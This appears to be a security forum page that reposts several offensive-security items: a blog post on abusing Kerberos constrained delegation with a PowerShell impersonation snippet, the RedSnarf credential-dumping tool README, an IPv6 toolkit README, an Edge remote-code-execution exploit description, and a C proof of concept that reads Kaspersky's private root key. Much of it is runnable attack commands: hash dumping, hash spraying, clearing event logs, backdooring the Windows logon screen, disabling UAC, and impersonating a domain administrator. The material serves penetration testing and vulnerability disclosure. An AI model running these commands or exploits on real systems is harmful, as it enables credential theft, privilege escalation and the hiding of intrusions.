a server that has unconstrained delegation set. You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled (see Protections below) to connect to any service on the machine. This includes clicking on \\SERVER\Share. This allows an attacker to impersonate that user to any service/machine on the domain! Obviously bad mmmkay. To contrast, if unconstrained delegation isn’t enabled, just a normal service ticket without a TGT stuffed inside it would be submitted, so the attacker would get no additional lateral spread advantage. How can you tell which machines have unconstrained delegation set? This is actually pretty easy: search for any machine that has a userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what PowerView’s Get-DomainComputer function does when passed the -Unconstrained flag: Constrained Delegation Obviously unconstrained delegation can be quite dangerous in the hands of a careless admin. Microsoft realized this early on and released ‘constrained’ delegation with Windows 2003. This included a set of Kerberos protocol extensions called S4U2Self and S4U2Proxy. These extensions also enable something called protocol transition, which we’ll go over in a bit. In essence, constrained delegation is a way to limit exactly what services a particular machine/account can access while impersonating other users. Here’s how a service account configured with constrained delegation looks in the Active Directory GUI: The ‘service’ specified is a service principal name that the account is allowed to access while impersonating other users. This is HOST/PRIMARY.testlab.local in our above example. Before we get into the specifics of how this works, here’s how that target object looks in PowerView: The field of interest is msds-allowedtodelegateto, but there’s also a modification to the account’s userAccountControl property. Essentially, if a computer/user object has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION then anyone who compromises that account can impersonate any user to the SPNs set in msds-allowedtodelegateto. Ben mentions SeEnableDelegationPrivilege being required to actually modify these parameters, which I’ll go over in more depth next week. But first, a bit more on how Active Directory implements this whole process. Feel free to skip ahead to the Abusing S4U section if you’re not interested. S4U2Self, S4U2Proxy, and Protocol Transition So you have a web service account that needs to impersonate users to only a specific backend service, but you don’t want to allow unconstrained delegation to run wild. Microsoft’s solution to how to architect this is through the service-for-user (S4U) set of Kerberos extensions. There’s extensive documentation on this topic; Lee and I were partial to the Microsoft’s “Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol” ([MS-SFU]). What follows is our current understanding. If we’ve messed something up, please let us know! The first extension that implements constrained delegation is the S4U2self extension, which allows a service to request a special forwardable service ticket to itself on behalf of a particular user. This is meant for use in cases where a user authenticates to a service in a way not using Kerberos, i.e. in our web service case. During the first KRB_TGS_REQ to the KDC, the forwardable flag it set, which requests that the TGS returned be marked as forwardable and thus able to be used with the S4U2proxy extension. In unconstrained delegation, a TGT is used to identify the user, but in this case the S4U extension uses the PA-FOR-USER structure as a new type in the “padata”/pre-authentication data field. Note that the S4U2self process can be executed for any user, and that target user’s password is not required. Also, the S4U2self process is only allowed if the requesting user has the TRUSTED_TO_AUTH_FOR_DELEGATION field set in their userAccountControl. Now, Lee and I first thought that this may be a way to Kerberoast any user we wanted, but unfortunately for us attackers this isn’t the case. The PAC is signed for the source (not the target) user, in this case the requesting service account, so universal Kerberoasting is out of the picture. But we now have a special service ticket that’s forwardable to the target service configured for constrained delegation in this case. The second extension is S4U2proxy, which allows the caller, the service account in our case, to use this forwardable ticket to request a service ticket to any SPN specified in msds-allowedtodelegateto, impersonating the user specified in the S4U2self step. The KDC checks if the requested service is listed in the msds-allowedtodelegateto field of the requesting user, and issues the ticket if this check passes. In this way the delegation is ‘constrained’ to specific target services. Here’s Microsoft’s diagram of S4U2self and S4U2proxy: https://msdn.microsoft.com/en-us/library/cc246080.aspx This set of extensions allows for what Microsoft calls protocol transition, which starts with the first Kerberos exchange during the S4u2Self component. This means that a service can authenticate a user over a non-Kerberos protocol and ‘transition’ the authentication to Kerberos, allowing for easy interoperability with existing environments. Abusing S4U If you’re asking yourself “so what” or skipped ahead to this section, we can think of a few ways that the S4U extensions can come into play on a pentest. The first is to enumerate all computers and users with a non-null msds-allowedtodelegateto field set. This can be done easily with PowerView’s -TrustedToAuth flag for Get-DomainUser/Get-DomainComputer: Now, remember that a machine or user account with a SPN set under msds-allowedtodelegateto can pretend to be any user they want to the target service SPN. So if you’re able to compromise one of these accounts, you can spoof elevated access to the target SPN. For the HOST SPN this allows complete remote takeover. For a MSSQLSvc SPN this would allow DBA rights. A CIFS SPN would allow complete remote file access. A HTTP SPN it would likely allow for the takeover of the remote webservice, and LDAP allows for DCSync ; ) HTTP/SQL service accounts, even if they aren’t elevated admin on the target, can also possibly be abused with Rotten Potato to elevate rights to SYSTEM (though I haven’t tested this personally). Luckily for us, Benjamin recently released a modification to Kekeo to help facilitate these types of lateral spread attacks if we know the plaintext password of the specific accounts. Lee and I envision four different specific scenarios involving S4U that you may want to abuse. We have tested two of the scenarios in a lab reliably, but haven’t been able to get the other two working (notes below). [edit]: @gentilkiwi reached out and let Lee and I know that asktgt.exe accepts a /key:NTLM argument as well as a password. This allows us to execute scenarios 3 and 4 below using account hashes instead of plaintexts! Scenario 1 : User Account Configured For Constrained Delegation + A Known Plaintext This is the scenario that Benjamin showed in his tweet. If you are able to compromise the plaintext password for a user account that has constrained delegation enabled, you can use Kekeo to request a TGT, execute the S4U TGS request, and then ultimately access the target service. Enumerating users with msds-allowedtodelegateto Requesting a TGT for the user account with constrained delegation enabled Using s4u.exe to execute S4U2Proxy Injecting the S4U ticket to utilize access Again, if you would like to execute this attack from a Linux system, read Ben’s post. Scenario 2 : Agent on a Computer Configured For Constrained Delegation If you are able to compromise a computer account that is configured for constrained delegation (instead of a user account) the attack approach is a bit different. As any process running as SYSTEM takes on the privileges of the local machine account, we can skip the Kekeo asktgt.exe step. You can also use an alternative method to execute the S4U2Proxy process, helpfully provided by Microsoft. Lee and I translated the process from C# into PowerShell as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx # load the necessary assembly $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') # execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@TESTLAB.LOCAL') # actually impersonate the next context $Context = $Ident.Impersonate() # implicitly invoke S4U2Proxy with the specified action ls \\PRIMARY.TESTLAB.LOCAL\C$ # undo the impersonation context $Context.Undo() As detailed by Microsoft, when using WindowsIdentity, an “identify-level” token is returned by default for most situations. This allows you to see what groups are associated with the user token, but doesn’t allow you to reuse the access. In order to use the impersonation context to access additional network resources, an impersonation-level token is needed, which is only returned when the requesting account has the “Act as part of the operating system” user right (SeTcbPrivilege). This right is only granted to SYSTEM by default, but since we need to be SYSTEM already to use the privileges of the machine account on the network, we don’t need to worry. Also, due to some of the powershell.exe peculiarities I mentioned a bit ago, if you are using PowerShell Version 2, you need to launch powershell.exe in single-thread apartment mode (with the “-sta” flag) in order for the token impersonation to work properly: SYSTEM on a computer with msds-allowedtodelegateto set S4U2Proxy for a computer account Scenario 3 : User Account Configured For Constrained Delegation + A Known NTLM Hash Our next goal was to execute this transition attack from a Window system only given the the target user’s NTLM hash, which we were unfortunately not able to get working properly with the same method as scenario 2. Our gut feeling is that we’re missing some silly detail, but we wanted to detail what we tried and what went wrong in case anyone had a tip for getting it working properly. [Edit] Ben’s pointed out that /key:NTLM works for asktgt.exe as well, which is covered below. We attempted to use Mimikatz’ PTH command to inject the user’s hash into memory (assuming you are a local admin on the pivot system) instead of Kekro’s asktgt.exe. One issue here (as in scenario 2) is SeTcbPrivilege, but despite explicitly granting our principal user that right we still ran into issues. It appears that the the S4U2Self step worked correctly: Despite the necessary privileges/rights, it appeared that the S4U2Proxy process fell back to NTLM instead of Kerberos with some NULL auths instead of the proper process: [Edit] You can execute this scenario with asktgt.exe/s4u.exe nearly identically to scenario 1. Simply substitute /key:NTLM instead of /password:PLAINTEXT: Scenario 4 : Computer Account Configured For Constrained Delegation + A Known NTLM Hash If you compromise a computer account hash through some means, and want to execute the attack from another domain machine, we imagined that you would execute an attack flow nearly identical to scenario 3. Unfortunately, we ran into the same problems. Again, if anyone can give us a tip on what we’re doing wrong, we would be greatly appreciative [Edit] This can be executed with /user:MACHINE$ and /key:NTLM for asktgt.exe, identical to scenario 3: Protections Microsoft has a great protection already built into Active Directory that can help mitigate delegation abuse. If an account has “Account is sensitive and cannot be delegated” enabled, then “the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation“. You can easily check if an account has this set by again examining the userAccountControl attribute, checking for the NOT_DELEGATED value. PowerView allows you to easily search for accounts with this value set or not set (Get-DomainUser -AllowDelegation/-DisallowDelegation) and you can use the ConvertFrom-UACValue function to examine the values set for a particular account, as shown in previous examples. Next week I will have a post that overlaps a bit with this topic, and presents additional defensive ideas concerning the rights needed to modify these delegation components for user objects. Sursa: http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
-
______ .____________ _____ \______ \ ____ __| _/ _____/ ____ _____ ________/ ____\ | _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\ | | \ ___// /_/ |/ \ | \/ __ \| | \/| | |____|_ /\___ >____ /_______ /___| (____ /__| |__| \/ \/ \/ \/ \/ \/ RedSnarf is a pen-testing / red-teaming tool by Ed William and Richard Davy for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques. RedSnarf functionality includes: • Retrieval of local SAM hashes; • Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password; • Retrieval of MS cached credentials; • Pass-the-hash; • Quickly identify weak and guessable username/password combinations (default of administrator/Password01); • The ability to retrieve hashes across a range; • Hash spraying - o Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space; • Lsass dump for offline analysis with Mimikatz; • Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing; • Dumping of Domain controller hashes using the drsuapi method; • Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator'; • Ability to decrypt cpassword hashes; • Ability to start a shell on a remote machine; • The ability to clear the event logs (application, security, setup or system); (Internal Version only) • Results are saved on a per-host basis for analysis. • Enable/Disable RDP on a remote machine. • Change RDP port from 3389 to 443 on a remote machine. • Enable/Disable NLA on a remote machine. • Find where users are logged in on remote machines. • Backdoor Windows Logon Screen • Enable/Disable UAC on a remote machine. • Stealth mimikatz added. • Parsing of domain hashes • Ability to determine which accounts are enabled/disabled RedSnarf Usage ======================= Requirements: Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git CredDump7 - https://github.com/Neohapsis/creddump7 Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx Netaddr (0.7.12) - pip install netaddr Termcolor (1.1.0) - pip install termcolor iconv - used with parsing Mimikatz info locally Show Help ./redsnarf.py -h ./redsnarf.py --help Retrieve Local Hashes ======================= Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log ./redsnarf.py -H ip=10.0.0.50 -uC security Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log ./redsnarf.py -H ip=10.0.0.50 -uC application Retrieve Local Hashes from a single machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . Retrieve Local Hashes from a single machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using local administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d . Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com Hash Spraying ======================= Spray Hashes across a network range ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d . Retrieve Hashes across a network range domain login ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com Quickly Check Credentials ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y Quickly Check File containing usernames (-hS) and a generic password (-hP) ./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y Retrieve Domain Hashes ======================= Retrieve Hashes using drsuapi method (Quickest) This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y) Retrieve Hashes using NTDSUtil This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y) Information Gathering ======================= Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y Decrypt Cpassword ./redsnarf.py -uG cpassword Find User - Live /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name Find User - Offline (searches pre downloaded information) /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name Misc ======================= Start a Shell on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y Start a Shell on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen. ./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y Run Custom Command Example 1 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user' Example 2 - Double Quotes need to be escaped with \ ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name \"domain admins\" | dsget group -members -expand' Local Access Token Policy Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings. ./redsnarf.py -rL y Wdigest Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q UAC Enable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e Disable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d Query UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate Enable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e Disable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d Query Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q RDP ======================= RDP Enable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e Disable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d Query RDP status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e Change RDP Port to default of 3389 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d Query RDP Port Value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q NLA ======================= Enable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e Disable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d Query NLA status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q Sursa: https://github.com/nccgroup/redsnarf
-
- 2
-
-
******************************************************************************* * SI6 Networks IPv6 Toolkit v2.0 (Guille) * ******************************************************************************* Description of each of the files and directories: ------------------------------------------------- data: Contains the configuration files and miscellaneous databases. manuals: Contains the manual pages for the security assessment tools. tools: Contains the source code for the security assessment tools. CHANGES.TXT: Contains the changelog of the toolkit CREDITS.TXT: Contains the credits of this project. LICENSE.TXT: Contains the license for this software (GPLv3) README.TXT: This file. Building the tools ------------------ You can build the tools by running the following command: make all You can install the tools, configuration file, database, and existing manual pages by running the following command: make install Note: The libpcap library must be previously installed on the system. The corresponding package is typically named "libpcap-dev". All the tools have been tested to build (both with gcc and clang) and run on Debian GNU/Linux 7.0, Debian GNU/kfreebsd 7.0, FreeBSD 9.0, NetBSD 6.1.1, OpenBSD 5.3, Ubuntu 14.04 LTS, Mac 0S 10.8.0, and OpenSolaris . Bug reports ----------- Please send any bug reports to Fernando Gont <fgont@si6networks.com> Sursa: https://github.com/fgont/ipv6toolkit
-
Source: https://github.com/theori-io/chakra-2016-11 Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40990.zip chakra.dll Info Leak + Type Confusion for RCE Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) Tested on Windows 10 Edge (modern.ie stable). FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3) To run: Download exploit/FillFromPrototypes_TypeConfusion.html to a directory. Serve the directory using a webserver (or python's simple HTTP server). Browse with a victim IE to FillFromPrototypes_TypeConfusion.html. Sursa: https://www.exploit-db.com/exploits/40990/
-
- 1
-
-
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989 When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing. $ icacls KLSSL_privkey.pem KLSSL_privkey.pem BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) <-- All users should have read access NT AUTHORITY\SYSTEM:(I)(F) Successfully processed 1 files; Failed processing 0 files $ cat KLSSL_privkey.pem cat: KLSSL_privkey.pem: Permission denied Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask. But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA. */ #include <windows.h> #include <stdio.h> #include <io.h> #include <fcntl.h> int main(int argc, char **argv) { HANDLE File; BYTE buf[2048] = {0}; DWORD count; File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem", MAXIMUM_ALLOWED, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (File != INVALID_HANDLE_VALUE) { if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) { setmode(1, O_BINARY); fwrite(buf, 1, count, stdout); } CloseHandle(File); return 0; } return 1; } /* $ cl test.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. test.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:test.exe test.obj $ ./test.exe | openssl rsa -inform DER -text -noout Private-Key: (2048 bit) modulus: 00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81: bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66: 0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db: f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07: */ Sursa: https://www.exploit-db.com/exploits/40988/